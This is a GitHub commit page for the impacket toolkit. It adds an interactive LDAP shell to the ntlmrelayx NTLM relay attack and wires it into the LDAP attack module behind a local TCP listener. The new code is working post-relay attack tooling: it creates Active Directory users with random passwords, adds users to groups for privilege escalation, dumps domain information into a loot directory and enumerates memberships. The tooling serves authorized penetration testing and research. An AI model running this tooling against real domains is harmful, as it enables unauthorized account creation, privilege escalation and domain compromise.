Skip to content

Commit

Permalink
merged upstream/master
Browse files Browse the repository at this point in the history
  • Loading branch information
ropnop committed Feb 4, 2020
2 parents 1db70e4 + 13cfc72 commit 08cee27
Show file tree
Hide file tree
Showing 3 changed files with 209 additions and 1 deletion.
2 changes: 1 addition & 1 deletion examples/ntlmrelayx.py
Original file line number Diff line number Diff line change
Expand Up @@ -207,7 +207,7 @@ def stop_servers(threads):
'full URL, one per line')
parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list '
'automatically (only valid with -tf)')
parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient console instead'
parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient or LDAP console instead'
'of executing a command after a successful relay. This console will listen locally on a '
' tcp port and can be reached with for example netcat.')

Expand Down
195 changes: 195 additions & 0 deletions impacket/examples/ldap_shell.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,195 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: Mini shell using some of the LDAP functionalities of the library
#
# Author:
# Mathieu Gascon-Lefebvre (@mlefebvre)
#
#
import string
import sys
import cmd
import random
import ldap3
from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM
from ldap3.utils.conv import escape_filter_chars
from six import PY2
import shlex
from impacket import LOG


class LdapShell(cmd.Cmd):
LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941"

def __init__(self, tcp_shell, domain_dumper, client):
cmd.Cmd.__init__(self, stdin=tcp_shell.stdin, stdout=tcp_shell.stdout)

if PY2:
# switch to unicode.
reload(sys) # noqa: F821 pylint:disable=undefined-variable
sys.setdefaultencoding('utf8')

sys.stdout = tcp_shell.stdout
sys.stdin = tcp_shell.stdin
sys.stderr = tcp_shell.stdout
self.use_rawinput = False
self.shell = tcp_shell

self.prompt = '\n# '
self.tid = None
self.intro = 'Type help for list of commands'
self.loggedIn = True
self.last_output = None
self.completion = []
self.client = client
self.domain_dumper = domain_dumper

def emptyline(self):
pass

def onecmd(self, s):
ret_val = False
try:
ret_val = cmd.Cmd.onecmd(self, s)
except Exception as e:
print(e)
LOG.error(e)
LOG.debug('Exception info', exc_info=True)

return ret_val

def do_add_user(self, line):
args = shlex.split(line)
if len(args) == 0:
raise Exception("A username is required.")

new_user = args[0]
if len(args) == 1:
parent_dn = 'CN=Users,%s' % self.domain_dumper.root
else:
parent_dn = args[1]

new_password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))

new_user_dn = 'CN=%s,%s' % (new_user, parent_dn)
ucd = {
'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % self.domain_dumper.root,
'distinguishedName': new_user_dn,
'cn': new_user,
'sn': new_user,
'givenName': new_user,
'displayName': new_user,
'name': new_user,
'userAccountControl': 512,
'accountExpires': '0',
'sAMAccountName': new_user,
'unicodePwd': '"{}"'.format(new_password).encode('utf-16-le')
}

print('Attempting to create user in: %s', parent_dn)
res = self.client.add(new_user_dn, ['top', 'person', 'organizationalPerson', 'user'], ucd)
if not res:
if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
raise Exception('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.')
else:
raise Exception('Failed to add a new user: %s' % str(self.client.result))
else:
print('Adding new user with username: %s and password: %s result: OK' % (new_user, new_password))

def do_add_user_to_group(self, line):
user_name, group_name = shlex.split(line)

user_dn = self.get_dn(user_name)
if not user_dn:
raise Exception("User not found in LDAP: %s" % user_name)

group_dn = self.get_dn(group_name)
if not group_dn:
raise Exception("Group not found in LDAP: %s" % group_name)

user_name = user_dn.split(',')[0][3:]
group_name = group_dn.split(',')[0][3:]

res = self.client.modify(group_dn, {'member': [(ldap3.MODIFY_ADD, [user_dn])]})
if res:
print('Adding user: %s to group %s result: OK' % (user_name, group_name))
else:
raise Exception('Failed to add user to %s group: %s' % (group_name, str(self.client.result)))

def do_dump(self, line):
print('Dumping domain info...')
self.stdout.flush()
self.domain_dumper.domainDump()
print('Domain info dumped into lootdir!')

def do_search(self, line):
arguments = shlex.split(line)
if len(arguments) == 0:
raise Exception("A query is required.")

filter_attributes = ['name', 'distinguishedName', 'sAMAccountName']
attributes = filter_attributes[:]
attributes.append('objectSid')
for argument in arguments[1:]:
attributes.append(argument)

search_query = "".join("(%s=*%s*)" % (attribute, escape_filter_chars(arguments[0])) for attribute in filter_attributes)
self.search('(|%s)' % search_query, *attributes)

def do_get_user_groups(self, user_name):
user_dn = self.get_dn(user_name)
if not user_dn:
raise Exception("User not found in LDAP: %s" % user_name)

self.search('(member:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(user_dn)))

def do_get_group_users(self, group_name):
group_dn = self.get_dn(group_name)
if not group_dn:
raise Exception("Group not found in LDAP: %s" % group_name)

self.search('(memberof:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(group_dn)), "sAMAccountName", "name")

def search(self, query, *attributes):
self.client.search(self.domain_dumper.root, query, attributes=attributes)
for entry in self.client.entries:
print(entry.entry_dn)
for attribute in attributes:
value = entry[attribute].value
if value:
print("%s: %s" % (attribute, entry[attribute].value))
if any(attributes):
print("---")

def get_dn(self, sam_name):
if "," in sam_name:
return sam_name

try:
self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(sam_name), attributes=['objectSid'])
return self.client.entries[0].entry_dn
except IndexError:
return None

def do_exit(self, line):
if self.shell is not None:
self.shell.close()
return True

def do_help(self, line):
print("""
add_user new_user [parent] - Creates a new user.
add_user_to_group user group - Adds a user to a group.
dump - Dumps the domain.
search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.
get_user_groups user - Retrieves all groups this user is a member of.
get_group_users group - Retrieves all members of a group.
exit - Terminates this session.""")

def do_EOF(self, line):
print('Bye!\n')
return True
13 changes: 13 additions & 0 deletions impacket/examples/ntlmrelayx/attacks/ldapattack.py
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,9 @@
from ldap3.utils.conv import escape_filter_chars

from impacket import LOG
from impacket.examples.ldap_shell import LdapShell
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell
from impacket.ldap import ldaptypes
from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP
from impacket.uuid import string_to_bin, bin_to_string
Expand Down Expand Up @@ -69,6 +71,9 @@ class LDAPAttack(ProtocolAttack):
def __init__(self, config, LDAPClient, username):
self.computerName = '' if config.addcomputer == 'Rand' else config.addcomputer
ProtocolAttack.__init__(self, config, LDAPClient, username)
if self.config.interactive:
# Launch locally listening interactive shell.
self.tcp_shell = TcpShell()

def addComputer(self, parent, domainDumper):
"""
Expand Down Expand Up @@ -502,6 +507,14 @@ def run(self):
# Create new dumper object
domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig)

if self.tcp_shell is not None:
LOG.info('Started interactive Ldap shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port)
# Start listening and launch interactive shell.
self.tcp_shell.listen()
ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client)
ldap_shell.cmdloop()
return

# If specified validate the user's privileges. This might take a while on large domains but will
# identify the proper containers for escalating via the different techniques.
if self.config.validateprivs:
Expand Down

0 comments on commit 08cee27

Please sign in to comment.